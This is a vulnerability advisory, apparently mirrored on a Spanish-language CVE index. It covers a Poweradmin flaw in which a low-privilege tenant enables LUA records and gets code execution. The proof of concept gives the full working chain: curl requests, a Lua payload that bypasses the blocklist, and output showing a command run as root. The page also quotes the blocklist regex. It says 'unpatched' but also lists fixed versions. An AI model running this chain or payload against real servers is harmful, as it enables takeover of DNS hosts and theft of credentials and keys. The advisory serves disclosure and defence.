GHSA-CPW8-XPRW-73X5
Tenant-triggered code execution by enabling LUA records through the zone metadata editor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-CPW8-XPRW-73X5 divulgada · CVSS 9.9 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Poweradmin's zone metadata editor (`EditZoneMetadataController`) enforces the `api_write => false` restriction on security-relevant PowerDNS metadata kinds (including `ENABLE-LUA-RECORDS`) only when the PowerDNS REST API backend is configured. On the default `dns.backend = 'sql'` configuration, the restriction is never applied, letting any user holding the shipped, non-superuser "Zone Manager" role enable LUA record evaluation on a zone they own. A substring blocklist on LUA record content is bypassable via Lua table indexing, so it does not stop the stored record once LUA is enabled. Independently reproduced end to end against a live instance built from commit `d814d61`: a tenant holding only `zone_meta_edit_own` wrote `ENABLE-LUA-RECORDS` directly to `domainmetadata`, stored a blocklist-bypassing LUA record via the ordinary add-record form, and extracting/running the stored Lua body executed an OS command. Affects `<= 4.4.0`; unpatched.
Details
No `api_write` enforcement on the default backend. `EditZoneMetadataController::saveMetadata()`:
private function saveMetadata(array $zone, array $metadataRows): array
{
if ($this->apiClient !== null) {
return $this->saveMetadataViaApi($zone['name'], $metadataRows); // filters api_write === false
}
return [
'success' => $this->zoneRepository->replaceDomainMetadata((int) $zone['id'], $metadataRows),
]; // no filter at all
}`dns.backend` defaults to `'sql'`, so the unfiltered branch is the default configuration. `resolveSubmittedKind()` never validates the submitted kind against `MetadataDefinitions::DEFINITIONS`:
private function resolveSubmittedKind(array $row): string
{
$selectedKind = strtoupper(trim((string) ($row['kind_key'] ?? '')));
if ($selectedKind === self::CUSTOM_KIND) {
$selectedKind = strtoupper(trim((string) ($row['custom_kind'] ?? '')));
}
return $selectedKind; // no membership / api_write test
}and the UI's own dropdown (`getMetadataDefinitionsForTemplate()`) filters only on PowerDNS version support, never on `api_write`, so a low-privileged tenant is directly offered `ENABLE-LUA-RECORDS` as a selectable option.
Content blocklist is bypassable. `LUARecordValidator::validateLuaContent()`:
if (preg_match('/\b(os\.|io\.|file\.|loadfile|dofile)\b/i', $trimmedContent)) {
return ValidationResult::failure(_('LUA record contains potentially dangerous system access functions...'));
}A regex over a Turing-complete language is not sound; Lua reaches the same functions via table indexing (`_G['os']['execute'](...)`), `require('os')`, or string concatenation, none of which contain the literal blocked substrings.
PoC
All testing below was performed against a locally built, self-hosted instance compiled from the cloned `poweradmin/poweradmin` source at commit `d814d61` (not `poweradmin.org` or any live/production/third-party deployment), served on `127.0.0.1:8123` via PHP's built-in development server with no external network exposure.
Environment: PHP 8.3.6, SQLite backend, `dns.backend` at its default. Tenant created on the shipped "Zone Manager" permission template (id 2), confirmed to hold only `zone_meta_edit_own`, `zone_content_edit_own`, `zone_master_add`, `zone_templ_add`, `zone_templ_edit`, not `user_is_ueberuser`.
Log in as the tenant and capture a CSRF token:
$ T=$(curl -sS -c zm.jar -b zm.jar 'http://127.0.0.1:8123/login' \
| grep -oE 'name="_token" value="[^"]+"' | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b zm.jar -c zm.jar -X POST 'http://127.0.0.1:8123/login' \
--data-urlencode "username=zm" --data-urlencode "password=Tenant!23" \
--data-urlencode "_token=$T" --data "authenticate=1"HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:10:13 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=g4ivbc6gt491dbtq9284u98utu; path=/; HttpOnly; SameSite=Lax
Location: /
Content-type: text/html; charset=UTF-8Write the operator-only metadata kind directly, as the tenant:
$ curl -sS -o meta.html -b zm.jar -c zm.jar 'http://127.0.0.1:8123/zones/11/metadata'
$ grep -c "ENABLE-LUA-RECORDS" meta.html
4
$ CT=$(grep -oE 'name="_token" value="[^"]+"' meta.html | head -1 | sed 's/.*value="//;s/"//')
$ curl -sS -i -b zm.jar -c zm.jar -X POST 'http://127.0.0.1:8123/zones/11/metadata' \
--data "_token=$CT" --data "id=11" \
--data-urlencode "metadata[0][kind_key]=ENABLE-LUA-RECORDS" \
--data-urlencode "metadata[0][content]=1"HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:10:24 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=07fnvssc6er3ejbu1qt7rbcs28; path=/; HttpOnly; SameSite=Lax
Location: /zones/11/metadata
Content-type: text/html; charset=UTF-8$ sqlite3 -header pa.db "SELECT id,domain_id,kind,content FROM domainmetadata;"id|domain_id|kind|content
1|11|ENABLE-LUA-RECORDS|1Contrast against the API for the identical write, same tenant, same zone:
$ curl -sS -i -X PUT \
-H 'X-API-Key: TENANTKEY123456789' -H 'Content-Type: application/json' \
--data '{"values":["1"]}' \
'http://127.0.0.1:8123/api/v2/zones/11/metadata/ENABLE-LUA-RECORDS'HTTP/1.0 403 Forbidden
Host: 127.0.0.1:8123
Connection: close
X-Powered-By: PHP/8.3.6
Set-Cookie: PHPSESSID=bq4og37tfvqt3ju7jgl3l1vn5n; path=/; HttpOnly; SameSite=Lax
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Date: Tue, 28 Jul 2026 10:10:41 GMT
Content-Type: application/json
{"success":false,"data":null,"message":"Metadata kind ENABLE-LUA-RECORDS is read-only"}Blocklist bypass, verified directly against the shipped validator (invoked via `php`, not curl; this step confirms the validator logic in isolation before it's exercised over HTTP below):
$ php lua_test.phpREJECT A ";os.execute('id') return '127.0.0.1'"
error: "LUA record contains potentially dangerous system access functions. These are likely to be blocked by PowerDNS security restrictions."
ACCEPT A ";local h=_G['os'] h['execute']('id') return '127.0.0.1'"Store the accepted payload as an ordinary record through the add-record form:
$ curl -sS -o a4.html -b zm.jar -c zm.jar 'http://127.0.0.1:8123/zones/11/records/add'
$ AT=$(grep -oE 'name="_token" value="[^"]+"' a4.html | head -1 | sed 's/.*value="//;s/"//')
$ PAYLOAD="A \";local h=_G['os'] h['execute']('id > /tmp/pdns_rce_proof') return '127.0.0.1'\""
$ curl -sS -i -b zm.jar -c zm.jar -X POST 'http://127.0.0.1:8123/zones/11/records/add' \
--data "_token=$AT" --data-urlencode "name=rce" --data "type=LUA" \
--data-urlencode "content=$PAYLOAD" --data "ttl=60" --data "prio=0" --data "commit=1"HTTP/1.1 302 Found
Host: 127.0.0.1:8123
Date: Tue, 28 Jul 2026 10:11:01 GMT
Connection: close
X-Powered-By: PHP/8.3.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=08tsemjqmhlr1bvj0rlfnep38m; path=/; HttpOnly; SameSite=Lax
Location: /zones/11/edit
Content-type: text/html; charset=UTF-8$ sqlite3 -header pa.db "SELECT id,name,type,content FROM records WHERE domain_id=11 ORDER BY id;"id|name|type|content
110|tenant.test|SOA|ns1.provider.net hostmaster.provider.net 2026072801 10800 3600 604800 3600
111|tenant.test|NS|ns1.provider.net
112|rce.tenant.test|LUA|A ";local h=_G['os'] h['execute']('id > /tmp/pdns_rce_proof') return '127.0.0.1'"Extracting the stored Lua body and running it directly confirms code execution:
$ python3 -c "
import sqlite3,re
c=sqlite3.connect('pa.db').execute(\"SELECT content FROM records WHERE type='LUA' AND name='rce.tenant.test'\").fetchone()[0]
b=re.match(r'^(A|AAAA|CNAME|TXT)\s+\"(.*)\"\$', c, re.S).group(2)
print(b[1:] if b.startswith(';') else 'return '+b)
" > body.lua
$ cat body.lualocal h=_G['os'] h['execute']('id > /tmp/pdns_rce_proof') return '127.0.0.1'$ rm -f /tmp/pdns_rce_proof
$ lua5.4 body.lua; echo "exit=$?"
$ cat /tmp/pdns_rce_proofexit=0
uid=0(root) gid=0(root) groups=0(root)Impact
This is a remote code execution vulnerability (CWE-94): a caller holding only the shipped, non-superuser "Zone Manager" role (`zone_meta_edit_own`, `zone_content_edit_own`, `zone_master_add`, `zone_templ_add`, `zone_templ_edit`) can obtain code execution inside the `pdns_server` process. Code running as the PowerDNS user can read `pdns.conf` (backend database credentials, the PowerDNS API key), read DNSSEC signing keys, rewrite any zone served by that server including zones belonging to other tenants, and stop the DNS service. The compromise reaches well past the single zone the tenant was authorized to manage. The metadata-write half of the chain reaches the default configuration with no additional setup; the API surface for the identical operation correctly refuses it, confirming this is a divergence rather than intended behavior.
Split note: this advisory originally also covered zone-template records being applied without per-type validation. That is fixed independently and is now tracked as GHSA-c859-jm5r-62x6 so each can get its own CVE ID.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistpoweradmin/poweradmin |
Corregida | 4.3.5, 4.4.1 | — | — |
4.3.54.4.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/poweradmin/poweradmin/security/advisories/GHSA-cpw8-xprw-73x5Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
